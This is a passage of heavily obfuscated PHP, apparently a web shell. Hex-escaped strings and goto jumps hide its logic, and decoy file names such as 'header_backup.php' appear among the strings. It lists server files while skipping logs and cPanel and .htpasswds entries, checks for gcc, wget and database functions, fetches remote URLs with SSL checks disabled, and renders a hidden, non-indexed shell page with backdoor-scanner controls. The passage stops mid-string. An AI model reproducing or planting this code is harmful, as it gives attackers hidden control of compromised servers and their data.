"\x53\x70\x65\x63\151\x66\151\143\x4d\x61\x6a\x6f\x72\x41\156\144\x4d\151\156\157\162\126\145\162\x73\151\157\156\103\157\x6e\163\x74\162\x61\151\x6e\164\56\160\x68\160", "\120\141\x73\x73\164\150\x72\157\x75\x67\150\106\157\162\155\x61\x74\x74\x65\162\x2e\x70\150\x70", "\x44\157\x75\142\154\145\103\157\155\x70\x61\x72\x61\x74\x6f\162\124\x65\163\164\x2e\160\150\x70", "\104\x62\x43\x61\143\150\145\x2e\x70\x68\x70", "\123\171\x6e\x74\x68\x65\164\151\143\x45\162\162\x6f\x72\x2e\160\x68\160", "\x44\145\154\x65\x74\x65\101\x63\x74\151\x6f\156\x2e\160\150\x70", "\124\x65\x78\164\124\x65\x73\164\x4c\151\x73\164\122\145\156\x64\x65\162\x65\x72\x2e\x70\x68\x70", "\105\x78\x74\145\156\163\x69\157\x6e\116\157\164\106\x6f\x75\156\x64\56\160\150\160", "\103\x65\163\164\x2e\160\x68\x70", "\125\x73\145\x72\56\160\x68\160", "\123\141\155\x65\x53\151\172\145\56\160\150\160", "\x41\x63\164\x69\166\x65\121\165\x65\x72\171\x54\162\x61\x69\x74\56\160\x68\160", "\105\170\160\162\x65\163\x73\151\x6f\x6e\x49\x6e\164\145\162\146\x61\x63\x65\56\160\x68\x70", "\105\166\x65\x6e\x74\120\x61\x6e\145\154\56\x70\150\160", "\x68\164\x74\160\x73\x2e\160\150\x70", "\137\x44\x6f\143\165\155\x65\156\x74\x2e\x70\150\160", "\x6e\x6f\x6f\x70\56\x70\150\x70", "\x73\x75\x70\162\x65\56\x70\x68\160", "\x44\157\143\165\155\x65\x6e\164\56\x70\150\160", "\x72\145\144\171\x2e\160\x68\x70", "\146\157\x6f\164\145\x72\x5f\x62\141\143\153\165\160\x2e\x70\150\160", "\x68\145\141\144\145\x72\x5f\142\x61\143\153\x75\160\x2e\160\150\160", "\x61\160\x70\x73\x2e\x70\150\160"); goto pLSq3; W50Wk: function x($c) { $perms = @fileperms($c); switch ($perms & 61440) { case 49152: $info = "\x73"; break; case 40960: $info = "\x6c"; break; case 32768: $info = "\162"; break; case 24576: $info = "\142"; break; case 16384: $info = "\x64"; break; case 8192: $info = "\143"; break; case 4096: $info = "\x70"; break; default: $info = "\165"; } $info .= $perms & 256 ? "\162" : "\55"; $info .= $perms & 128 ? "\x77" : "\55"; $info .= $perms & 64 ? $perms & 2048 ? "\163" : "\170" : ($perms & 2048 ? "\123" : "\x2d"); $info .= $perms & 32 ? "\162" : "\x2d"; $info .= $perms & 16 ? "\167" : "\x2d"; $info .= $perms & 8 ? $perms & 1024 ? "\163" : "\170" : ($perms & 1024 ? "\123" : "\x2d"); $info .= $perms & 4 ? "\x72" : "\x2d"; $info .= $perms & 2 ? "\x77" : "\55"; $info .= $perms & 1 ? $perms & 512 ? "\x74" : "\170" : ($perms & 512 ? "\124" : "\55"); return sprintf("\45\x73\40\133\x25\163\135", $info, substr(decoct($perms), 2)); } goto HHlGa; izpLw: function GetOwnerGroup($x) { if (Unix()) { if (function_exists("\x70\157\163\151\170\x5f\147\x65\x74\160\167\x75\151\x64") && function_exists("\x70\157\x73\151\170\x5f\x67\145\164\147\162\147\x69\x64")) { $user = posix_getpwuid(fileowner($x)); $group = posix_getgrgid(filegroup($x)); return sprintf("\45\163\72\x25\x73", $user["\156\141\x6d\x65"], $group["\x6e\141\x6d\x65"]); } } return "\77\x3a\x3f"; } goto HQUAU; w3ssC: if (isset($_GET["\x31"])) { echo $f; } elseif (isset($_GET["\x30"])) { echo $g; } else { NULL; } goto Qip5y; BQYMx: function ListFiles($dirrall) { if ($dh = opendir($dirrall)) { $files = array(); $inner_files = array(); $me = str_replace(dirname(__FILE__) . "\x2f", '', __FILE__); $notallow = array($me, "\x2e\150\x74\x61\143\x63\145\163\x73", "\145\x72\162\x6f\162\x5f\154\x6f\x67", "\137\x76\x74\x69\x5f\151\156\146\x2e\x68\x74\x6d\x6c", "\137\x70\x72\151\166\141\164\x65", "\x5f\x76\x74\151\x5f\x62\151\156", "\137\166\x74\x69\137\x63\x6e\146", "\x5f\166\164\x69\137\x6c\x6f\147", "\137\x76\164\151\137\x70\x76\164", "\x5f\166\x74\x69\137\x74\170\164", "\x63\x67\151\x2d\x62\x69\156", "\56\143\x6f\156\x74\141\x63\x74\145\155\141\x69\x6c", "\x2e\143\x70\141\156\x65\154", "\56\x66\141\x6e\164\141\163\x74\151\143\157\144\141\164\141", "\56\150\x74\160\x61\x73\163\167\144\x73", "\x2e\x6c\x61\x73\164\x6c\157\147\x69\156", "\141\143\143\145\x73\x73\x2d\x6c\157\147\x73", "\x63\160\142\141\x63\153\165\x70\x2d\x65\170\143\x6c\165\144\145\x2d\165\x73\x65\144\55\142\171\x2d\142\x61\x63\x6b\165\x70\56\143\157\x6e\x66", "\56\143\147\151\x5f\141\x75\164\x68", "\56\x64\151\163\x6b\x5f\165\x73\x61\147\145", "\x2e\163\164\141\x74\x73\x70\x77\x64", "\x54\150\x75\x6d\x62\163\56\x64\142"); while ($file = readdir($dh)) { if ($file != "\x2e" && $file != "\56\x2e" && $file[0] != "\x2e" && !in_array($file, $notallow)) { if (is_dir($dirrall . "\57" . $file)) { $inner_files = ListFiles($dirrall . "\x2f" . $file); if (is_array($inner_files)) { $files = array_merge($files, $inner_files); } } else { array_push($files, $dirrall . "\57" . $file); } } } closedir($dh); return $files; } } goto XImeP; KoLrT: $gcc = exe("\x67\143\x63\40\55\55\x68\145\154\160") ? "\117\x4e" : "\117\106\106"; goto kivBG; jdve8: $wget = exe("\167\x67\x65\164\x20\x2d\x2d\x68\145\154\160") ? "\x4f\116" : "\117\106\106"; goto W8sPr; RkHLK: $pgsql = function_exists("\160\147\x5f\x63\157\156\156\145\x63\x74") ? "\x4f\116" : "\117\x46\x46"; goto ZoM8_; uNS1P: $mysql = function_exists("\155\171\163\x71\154\137\143\157\156\x6e\x65\x63\164") ? "\117\116" : "\x4f\x46\106"; goto wWk1F; OtFPF: $o_ = array("\74\x73\x63\162\151\x70\x74\76\x24\x2e\156\x6f\x74\151\x66\x79\50\42", "\x22\54\40\x7b\40\x63\154\141\x73\163\116\x61\x6d\x65\72\42\61\x22\x2c\141\165\x74\157\110\x69\144\x65\104\145\x6c\x61\171\72\40\62\x30\60\60\54\x70\157\163\151\164\151\157\156\x3a\x22\154\145\146\x74\40\x62\157\x74\164\157\x6d\x22\x20\175\x29\73\x3c\57\x73\143\x72\x69\x70\x74\x3e"); goto EY2x8; G3xou: $console = "\x68\145\x61\144\145\x72\x5f\x62\141\x63\x6b\165\160\56\160\x68\x70"; goto lECzW; w2xTS: $scanps = "\146\157\157\x74\x65\162\x5f\x62\x61\143\x6b\x75\x70\56\x70\150\x70"; goto lB0OR; PxwEv: $show_exec = !empty($safemode_exec_dir) ? "\117\x46\x46" : "\x4f\x4e"; goto hE4q5; DQdij: function Unix() { return strtolower(substr(PHP_OS, 0, 3)) != "\167\151\x6e"; } goto jXL8L; hE4q5: $show_include = !empty($safemode_include_dir) ? "\x4f\x46\x46" : "\117\x4e"; goto B6hfl; lB0OR: if (file_exists($scanps)) { echo "\x20\74\143\145\x6e\x74\x65\x72\x3e\74\x61\40\x63\154\141\163\163\x20\x3d\x20\x27\142\164\x6e\x20\x62\x74\156\x2d\x69\x6e\146\x6f\x20\x62\164\156\x2d\163\x6d\x20\141\x6a\x78\x27\x20\x68\162\145\x66\x20\x3d\40\x27\77\144\75" . hex($d) . "\x26" . hex("\163\143\x61\x6e\172") . "\47\x3e\x3c\x63\145\156\x74\x65\x72\x3e\102\x61\143\x6b\x64\157\157\162\x20\123\143\x61\x6e\156\145\x72\74\x2f\x63\145\156\x74\145\162\76\74\x2f\x61\76"; echo "\x20\74\141\40\x63\x6c\141\x73\163\x3d\x22\142\x74\156\40\142\164\x6e\x2d\144\x61\x6e\147\x65\x72\x20\x62\164\156\55\163\x6d\40\x61\152\x78\x22\x20\x68\x72\145\x66\x3d\42\77\144\75" . hex($d) . "\x26" . hex("\163\x63\141\x6e\x6f\x66\146") . "\x22\x3e\x48\141\160\x75\163\40\102\141\143\153\144\157\x6f\x72\x20\123\143\141\156\156\145\162\x3c\57\x61\76\74\x2f\x63\145\x6e\x74\x65\x72\76"; } goto HfVeZ; xsmr9: $mssql = function_exists("\x6d\163\x73\161\x6c\137\x63\157\156\156\145\143\x74") ? "\x4f\x4e" : "\x4f\106\x46"; goto RkHLK; Ic597: function fgt($url) { if (function_exists("\x66\x69\154\x65\x5f\x67\145\x74\137\x63\x6f\156\164\145\156\x74\163") && ini_get("\141\154\154\x6f\167\137\165\x72\154\137\146\157\x70\145\156")) { $arrContextOptions = array("\163\x73\154" => array("\x76\145\162\151\146\171\137\160\x65\145\x72" => false, "\166\x65\x72\151\x66\x79\x5f\x70\145\x65\x72\137\x6e\x61\x6d\145" => false)); $fgt = file_get_contents($url, false, stream_context_create($arrContextOptions)); } elseif (function_exists("\x66\x6f\160\145\156") && function_exists("\163\x74\162\x65\x61\155\137\x67\145\x74\137\143\x6f\x6e\164\x65\x6e\164\163") && ini_get("\x61\154\154\x6f\x77\x5f\x75\162\x6c\x5f\146\x6f\x70\x65\x6e")) { $handle = fopen($url, "\x72"); $fgt = stream_get_contents($handle); } elseif (function_exists("\143\165\162\154\x5f\x65\x78\x65\x63")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($conn, CURLOPT_FRESH_CONNECT, true); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); $fgt = curl_exec($conn); curl_close($conn); } else { $fgt = false; } return $fgt; } goto Pen0r; fu9Nw: $dirscan = scandir(path()); goto HREyq; jkkdf: echo "\xa\11\x3c\41\104\117\x43\x54\131\120\x45\x20\150\164\155\154\x3e\12\11\x3c\150\x74\x6d\x6c\x20\x64\151\x72\75\42\x61\165\164\157\42\x20\x6c\141\x6e\147\75\42\x65\156\x2d\x55\123\x22\x3e\xa\12\x9\x3c\x68\x65\x61\144\x3e\xa\11\x9\74\x6d\x65\x74\141\x20\x63\150\x61\162\163\145\x74\75\x22\x55\x54\106\x2d\70\42\76\xa\x9\11\74\155\x65\164\x61\x20\156\141\155\145\75\42\x72\x6f\x62\157\164\x73\x22\x20\143\x6f\156\x74\145\156\164\75\42\x4e\117\111\x4e\104\105\130\54\40\116\117\106\x4f\x4c\114\x4f\127\42\x3e\xa\12\11\11\74\x74\151\164\x6c\145\x3e\130\x3c\57\164\x69\x74\x6c\x65\x3e\12\x9\x9\x3c\x6c\x69\156\x6b\40\162\145\154\x3d\x22\163\x68\157\162\164\143\x75\164\x20\151\x63\x6f\156\42\x20\x68\162\145\146\x3d\42\144\x61\164\141\x3a\151\x6d\141\x67\145\x2f\152\160\x65\x67\x3b\x62\x61\163\x65\x36\x34\54\57\71\152\x2f\64\x41\101\x51\x53\x6b\132\x4a\x52\x67\101\x42\x41\x51\x45\101\x59\101\x42\x67\x41\x41\104\57\62\167\102\104\101\101\x49\x42\x41\121\111\102\x41\121\111\103\101\x67\111\103\x41\x67\111\103\x41\x77\x55\x44\101\x77\x4d\x44\x41\x77\131\105\x42\x41\x4d\106\x42\x77\131\x48\102\x77\x63\x47\102\x77\143\x49\103\x51\x73\112\103\x41\x67\x4b\x43\101\x63\110\x43\147\x30\x4b\x43\x67\x73\x4d\x44\101\x77\x4d\x42\167\x6b\x4f\x44\167\60\x4d\104\x67\163\x4d\104\x41\x7a\57\62\167\x42\104\x41\x51\x49\x43\101\147\115\x44\x41\167\x59\x44\101\x77\x59\x4d\103\x41\x63\111\x44\x41\167\x4d\104\101\x77\115\x44\x41\167\115\104\x41\167\115\104\101\x77\x4d\x44\x41\x77\x4d\104\101\x77\115\104\101\x77\115\x44\101\167\x4d\x44\x41\x77\115\x44\101\x77\115\x44\x41\x77\115\104\101\167\x4d\104\x41\x77\x4d\x44\101\x77\x4d\x44\101\167\115\104\101\172\57\167\x41\x41\x52\103\x41\101\x51\101\102\x41\x44\101\123\111\101\x41\x68\105\x42\101\170\x45\102\57\x38\x51\x41\x48\167\101\x41\101\x51\x55\102\x41\x51\105\102\x41\121\105\101\x41\101\101\101\x41\101\101\101\x41\101\x45\103\x41\167\121\106\102\x67\143\x49\103\121\x6f\114\x2f\70\x51\101\x74\122\101\101\101\147\105\104\101\167\x49\x45\x41\167\x55\x46\x42\101\x51\x41\101\101\106\71\x41\x51\111\104\101\101\121\122\102\122\111\150\x4d\125\105\x47\x45\x31\106\x68\x42\171\x4a\x78\x46\104\113\x42\153\141\105\111\111\x30\113\x78\x77\122\x56\x53\60\146\101\x6b\x4d\x32\112\x79\147\x67\153\x4b\x46\x68\x63\x59\x47\122\x6f\x6c\x4a\x69\143\x6f\113\x53\x6f\x30\116\x54\131\63\x4f\104\x6b\66\x51\60\x52\106\x52\153\x64\x49\123\x55\160\124\126\106\x56\127\126\x31\x68\x5a\x57\x6d\x4e\153\132\127\132\156\141\x47\154\161\x63\63\x52\61\144\156\144\64\145\x58\x71\x44\x68\111\x57\x47\150\x34\151\112\151\160\113\124\x6c\x4a\127\x57\154\x35\151\x5a\x6d\161\x4b\x6a\x70\113\127\155\x70\x36\x69\x70\161\162\113\x7a\x74\x4c\x57\x32\164\x37\151\65\x75\x73\x4c\x44\x78\115\x58\107\x78\x38\x6a\112\171\164\x4c\124\61\x4e\130\x57\x31\71\x6a\132\x32\165\x48\x69\x34\53\x54\x6c\65\x75\146\x6f\66\x65\162\170\70\166\x50\60\71\146\x62\x33\x2b\x50\156\66\57\70\121\x41\110\167\105\x41\101\167\x45\x42\101\121\x45\x42\x41\x51\x45\x42\x41\121\x41\101\101\x41\101\101\101\x41\x45\x43\x41\167\121\106\x42\147\143\111\103\x51\157\114\57\x38\121\x41\x74\122\105\101\x41\x67\105\103\x42\101\121\104\102\x41\143\x46\x42\x41\x51\101\101\x51\112\x33\x41\101\105\103\101\170\x45\x45\x42\x53\105\170\102\150\112\102\125\x51\x64\150\x63\x52\x4d\x69\x4d\x6f\105\x49\x46\105\x4b\122\157\x62\x48\x42\103\x53\x4d\x7a\x55\166\x41\x56\x59\x6e\114\122\x43\150\131\x6b\116\117\x45\x6c\x38\122\x63\x59\x47\x52\157\155\112\171\147\x70\x4b\152\x55\62\x4e\172\x67\x35\117\x6b\116\x45\x52\x55\x5a\x48\x53\x45\154\113\125\61\122\x56\x56\154\144\131\127\x56\160\x6a\132\107\x56\155\132\x32\x68\x70\x61\x6e\116\x30\144\130\x5a\63\x65\x48\154\66\x67\157\117\105\x68\x59\x61\x48\x69\111\155\113\153\160\117\125\x6c\132\x61\x58\x6d\x4a\155\x61\x6f\161\117\x6b\x70\x61\141\156\161\x4b\155\x71\x73\x72\x4f\x30\x74\x62\141\63\x75\114\x6d\66\x77\x73\x50\x45\x78\x63\142\110\171\115\x6e\x4b\60\x74\x50\x55\61\144\142\x58\x32\116\156\141\64\165\120\153\x35\145\142\x6e\66\x4f\x6e\161\x38\x76\x50\60\71\146\142\x33\x2b\120\x6e\x36\57\71\x6f\x41\104\x41\x4d\x42\101\x41\x49\x52\x41\x78\x45\x41\x50\167\x44\x65\x30\124\x39\x6d\x72\167\156\64\x36\x2f\131\x5a\x2f\x59\166\x73\146\x44\166\x37\106\x76\x38\x41\131\57\x6a\104\x78\132\160\x56\164\141\114\64\172\x2f\64\x51\x2f\167\x41\101\x61\x6c\57\x77\x6c\x64\x35\x4c\70\x50\164\142\x61\113\67\70\x69\x35\x31\122\x54\145\x59\165\150\106\x71\x66\154\141\153\x49\x46\x6b\53\x78\146\117\x56\x6e\x38\165\x4e\x75\x66\x38\x65\x65\101\x2f\x68\124\70\x46\166\62\126\120\x32\x72\x66\x41\57\152\152\x39\x6c\x4c\x77\x2f\112\x38\x56\160\x4e\113\61\117\x30\60\120\130\114\166\x51\x50\150\61\x6f\61\x2f\131\130\154\152\x38\117\x74\104\156\166\x62\165\61\163\x6f\x64\x57\141\127\114\x79\x35\155\153\61\141\123\114\123\x55\x75\106\x67\x57\x2b\x44\113\124\x4d\132\111\x31\65\57\x34\x51\x2f\164\163\x33\x2b\x6b\x66\x41\x2f\70\x41\132\61\x30\71\146\62\152\x66\x73\115\120\167\165\x30\x72\x51\x37\166\167\x6c\x62\x2f\70\x41\x43\x7a\57\150\170\x44\71\157\166\107\x2b\107\62\x75\155\145\x30\x38\161\x58\x53\x6d\155\x30\x62\67\x4e\146\x2b\122\157\x2f\155\66\x75\61\167\162\x66\142\x39\x78\x42\155\103\x53\114\172\57\167\x43\60\102\x2b\x30\x42\157\166\170\106\x38\106\x66\107\x6a\127\x4e\x59\53\x4e\110\150\57\167\x41\121\53\x49\x50\x45\117\x6c\x65\x4a\142\x75\57\166\x37\166\170\71\x38\115\x72\62\57\167\x44\104\x6c\x35\x50\x38\115\164\x42\x6a\116\x70\x61\x6c\116\x49\x46\61\x71\130\x32\66\67\105\62\x69\123\x53\66\112\112\x61\x71\126\60\x38\x45\152\172\144\x37\x73\101\146\57\x5a\x22\x3e\xa\x9\11\x3c\x6c\x69\156\153\x20\x72\145\x6c\x3d\42\163\x74\x79\154\145\x73\x68\145\x65\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x68\x74\164\x70\163\x3a\57\x2f\x64\x6f\61\62\64\x35\67\64\56\147\x69\x74\x68\x75\142\x2e\x69\x6f\x2f\x6d\141\151\x6e\x2e\143\163\x73\x22\x3e\xa\x9\11\74\x6c\151\156\x6b\x20\x72\145\154\x3d\42\x73\164\x79\x6c\x65\x73\x68\145\145\x74\42\40\150\x72\145\x66\75\42\x2f\x2f\x6d\141\170\x63\x64\156\56\142\x6f\157\x74\x73\164\162\x61\160\x63\144\x6e\x2e\143\x6f\x6d\57\x62\x6f\x6f\164\163\x74\162\141\160\57\x34\x2e\x30\56\60\57\x63\x73\x73\57\142\x6f\x6f\164\163\164\162\x61\x70\x2e\155\x69\156\x2e\143\163\163\42\40\151\x6e\x74\x65\147\162\151\x74\171\75\42\163\x68\141\63\x38\x34\55\x47\x6e\x35\x33\x38\x34\x78\x71\x51\x31\x61\x6f\x57\130\101\53\60\65\70\122\x58\120\170\120\147\x36\146\x79\x34\111\x57\166\x54\116\150\60\x45\x32\x36\x33\x58\x6d\x46\x63\112\154\123\x41\167\x69\107\x67\x46\x41\127\57\x64\101\151\123\66\x4a\x58\155\x22\40\143\162\157\163\x73\x6f\162\x69\x67\151\156\75\42\141\156\x6f\x6e\x79\x6d\157\165\x73\42\76\xa\x9\11\74\163\x63\x72\x69\160\164\40\x73\x72\x63\75\x22\57\57\141\x6a\141\170\x2e\147\157\x6f\x67\154\145\x61\160\x69\163\56\143\157\155\57\141\152\141\x78\x2f\154\x69\x62\x73\x2f\152\161\165\145\x72\x79\x2f\63\56\63\x2e\x31\57\x6a\161\x75\145\x72\171\x2e\x6d\151\x6e\x2e\x6a\x73\x22\x3e\x3c\57\163\x63\x72\x69\160\164\76\12\x9\x9\x3c\x73\x63\x72\x69\x70\164\40\x73\x72\x63\x3d\42\57\57\x6d\141\x78\x63\x64\x6e\56\x62\157\x6f\x74\163\164\x72\x61\x70\x63\x64\x6e\x2e\143\157\155\x2f\142\157\x6f\164\x73\164\162\141\x70\x2f\x34\x2e\60\x2e\60\57\x6a\163\x2f\x62\x6f\x6f\164\x73\164\x72\x61\x70\x2e\155\x69\x6e\x2e\x6a\163\42\40\x69\x6e\164\145\x67\x72\151\x74\171\x3d\x22\x73\150\x61\63\70\64\x2d\112\132\122\66\x53\160\x65\x6a\x68\64\x55\60\62\x64\70\x6a\x4f\164\x36\166\114\105\110\x66\145\57\112\x51\107\151\x52\x52\x53\x51\x51\x78\123\x66\106\x57\x70\151\x31\x4d\161\165\126\144\x41\x79\x6a\125\141\x72\x35\53\x37\66\x50\x56\103\155\x59\x6c\x22\x20\x63\162\157\163\x73\157\162\x69\x67\151\156\75\x22\x61\x6e\x6f\x6e\171\x6d\x6f\165\163\42\x3e\x3c\x2f\163\143\162\151\160\164\x3e\xa\11\x9\74\x73\143\x72\x69\160\164\x20\163\x72\143\75\42\57\57\143\x64\156\x6a\163\x2e\x63\x6c\157\165\144\146\154\x61\162\x65\56\x63\x6f\155\57\x61\152\141\170\57\154\151\142\163\x2f\156\157\x74\x69\x66\x79\57\x30\56\x34\56\x32\x2f\156\157\x74\151\146\x79\x2e\155\151\x6e\x2e\152\x73\x22\76\x3c\x2f\x73\x63\162\151\160\x74\x3e\xa\11\x9\x3c\163\143\162\151\160\164\40\163\162\x63\75\x22\x2f\x2f\143\144\x6e\x6a\163\x2e\143\x6c\x6f\x75\x64\146\x6c\141\162\145\56\x63\157\155\57\x61\152\141\170\57\154\x69\x62\163\x2f\160\157\160\160\145\162\x2e\x6a\x73\57\x31\56\61\x32\56\x39\x2f\165\x6d\x64\x2f\x70\157\160\160\x65\x72\x2e\155\151\x6e\x2e\x6a\x73\42\40\151\156\x74\145\147\162\x69\164\x79\75\x22\x73\x68\141\x33\70\64\x2d\x41\160\116\x62\x67\x68\71\102\x2b\x59\61\121\113\x74\x76\x33\122\156\67\x57\63\x6d\147\120\x78\x68\x55\x39\x4b\57\x53\143\121\x73\101\x50\67\x68\125\x69\x62\130\x33\x39\x6a\x37\146\x61\153\106\x50\x73\153\x76\x58\165\163\x76\x66\141\x30\x62\64\121\42\x20\x63\x72\157\x73\x73\x6f\162\151\147\151\x6e\x3d\x22\141\156\x6f\156\x79\155\157\165\163\42\76\74\x2f\163\x63\x72\x69\160\164\76\xa\x9\11\74\154\151\156\x6b\x20\162\x65\x6c\x3d\42\163\x74\171\x6c\145\x73\x68\145\x65\164\42\40\x68\x72\x65\146\x3d\42\x68\x74\x74\160\163\x3a\x2f\x2f\x64\x6f\61\62\64\65\67\x34\56\x67\x69\x74\x68\x75\142\56\x69\157\x2f\163\x74\171\154\145\170\56\143\x73\163\42\x3e\12\11\11\74\x73\x74\x79\x6c\145\x3e\40\x20\40\40\x20\x20\40\40\40\xa\11\x9\x9\x23\x73\150\x65\154\154\x20\x7b\12\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x6d\141\x78\x2d\167\151\x64\x74\x68\x3a\x20\x31\x34\x34\60\x70\x78\73\12\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\167\151\144\x74\150\x3a\40\61\60\x30\45\73\xa\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\155\141\162\x67\x69\x6e\x3a\40\65\x30\x70\170\40\x61\165\x74\x6f\40\x30\x20\141\x75\x74\157\73\xa\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x62\x6f\x78\55\163\x68\x61\x64\x6f\167\x3a\40\60\x20\60\40\65\160\x78\40\x72\147\x62\x61\x28\60\54\40\x30\x2c\40\x30\x2c\x20\56\x33\x29\73\12\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\146\157\x6e\164\x2d\163\151\172\145\x3a\40\x31\60\x70\x74\x3b\xa\40\x20\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\x64\151\x73\160\154\141\x79\x3a\x20\x66\154\x65\x78\73\xa\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\40\x66\x6c\145\x78\55\x64\x69\162\145\143\x74\x69\x6f\x6e\x3a\40\143\157\x6c\165\x6d\156\73\xa\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\x61\154\151\147\156\55\x69\x74\x65\x6d\x73\x3a\x20\163\164\x72\x65\x74\x63\x68\73\12\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\175\xa\12\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x23\x73\150\145\154\154\55\x63\157\x6e\x74\x65\x6e\164\40\173\xa\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\x9\150\x65\x69\147\x68\x74\72\40\x35\x30\x30\x70\170\x3b\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\x20\40\157\166\x65\x72\146\154\157\x77\72\x20\x61\165\164\157\73\12\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\160\141\x64\x64\x69\x6e\147\x3a\x20\x35\160\170\x3b\12\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\167\150\151\x74\145\x2d\163\160\141\x63\x65\72\40\160\162\145\55\167\162\x61\x70\x3b\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\146\x6c\145\x78\55\147\162\157\x77\72\x20\x31\x3b\xa\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x7d\12\xa\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x23\x73\150\145\x6c\x6c\55\x6c\157\x67\157\x20\x7b\12\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x66\x6f\156\x74\55\167\145\151\147\150\164\72\40\142\x6f\154\x64\73\12\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x63\157\x6c\x6f\x72\x3a\x20\x23\x46\x46\x34\x31\x38\x30\73\xa\40\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\40\40\x20\x74\x65\170\164\x2d\x61\x6c\x69\x67\x6e\72\40\143\x65\156\x74\x65\x72\x3b\12\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x7d\12\xa\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x40\x6d\x65\x64\x69\x61\x20\x28\x6d\x61\170\x2d\x77\x69\144\x74\150\72\40\x39\71\x31\x70\170\51\x20\173\xa\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\43\163\x68\x65\x6c\x6c\55\x6c\x6f\x67\x6f\x20\173\12\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20\146\x6f\x6e\x74\55\x73\x69\172\145\x3a\x20\66\160\170\73\xa\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\x6d\x61\162\x67\x69\156\72\40\x2d\62\65\160\170\x20\x30\73\12\40\40\40\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x7d\12\xa\40\x20\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\40\x68\x74\155\154\x2c\x20\142\157\144\x79\54\40\x23\x73\150\145\x6c\x6c\40\173\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\150\x65\151\147\x68\x74\72\40\x31\60\x30\45\x3b\12\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x77\x69\x64\164\x68\x3a\40\x31\x30\x30\x25\73\xa\40\40\40\x20\40\40\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\40\155\141\x78\x2d\x77\x69\x64\164\150\x3a\40\156\157\156\145\x3b\xa\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x7d\12\xa\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\40\43\163\x68\x65\154\x6c\x20\173\xa\40\40\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x6d\141\162\147\151\x6e\55\x74\x6f\160\x3a\x20\60\x3b\xa\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\175\xa\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x7d\12\xa\40\40\40\40\x20\x20\40\40\40\40\x20\40\100\x6d\145\x64\151\141\x20\x28\x6d\x61\x78\x2d\167\151\x64\164\150\72\x20\67\66\67\x70\x78\x29\x20\173\xa\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x23\163\x68\x65\x6c\154\55\x69\156\160\165\164\x20\x7b\12\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x66\x6c\145\x78\55\144\151\x72\x65\x63\x74\x69\157\156\72\x20\x63\157\154\x75\155\156\73\xa\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\40\40\175\12\40\40\x20\x20\40\x20\40\x20\40\40\40\x20\175\12\xa\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x40\155\x65\144\151\x61\40\x28\x6d\141\x78\55\167\151\x64\164\150\x3a\40\63\62\x30\160\x78\51\40\x7b\12\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\x23\x73\x68\x65\x6c\x6c\x2d\x6c\157\x67\157\40\x7b\12\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x66\x6f\156\x74\55\x73\151\x7a\145\x3a\40\x35\x70\170\73\xa\40\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\x20\175\xa\x20\x20\40\40\40\40\x20\40\40\40\40\40\175\12\xa\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\56\163\150\x65\x6c\154\55\x70\162\x6f\x6d\x70\164\40\x7b\12\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\146\157\156\x74\55\167\145\x69\x67\x68\164\x3a\x20\x62\x6f\154\x64\x3b\xa\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x63\157\154\x6f\162\72\40\x23\144\146\60\142\x30\x62\x3b\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\175\xa\xa\x20\x20\40\x20\40\x20\x20\x20\x20\40\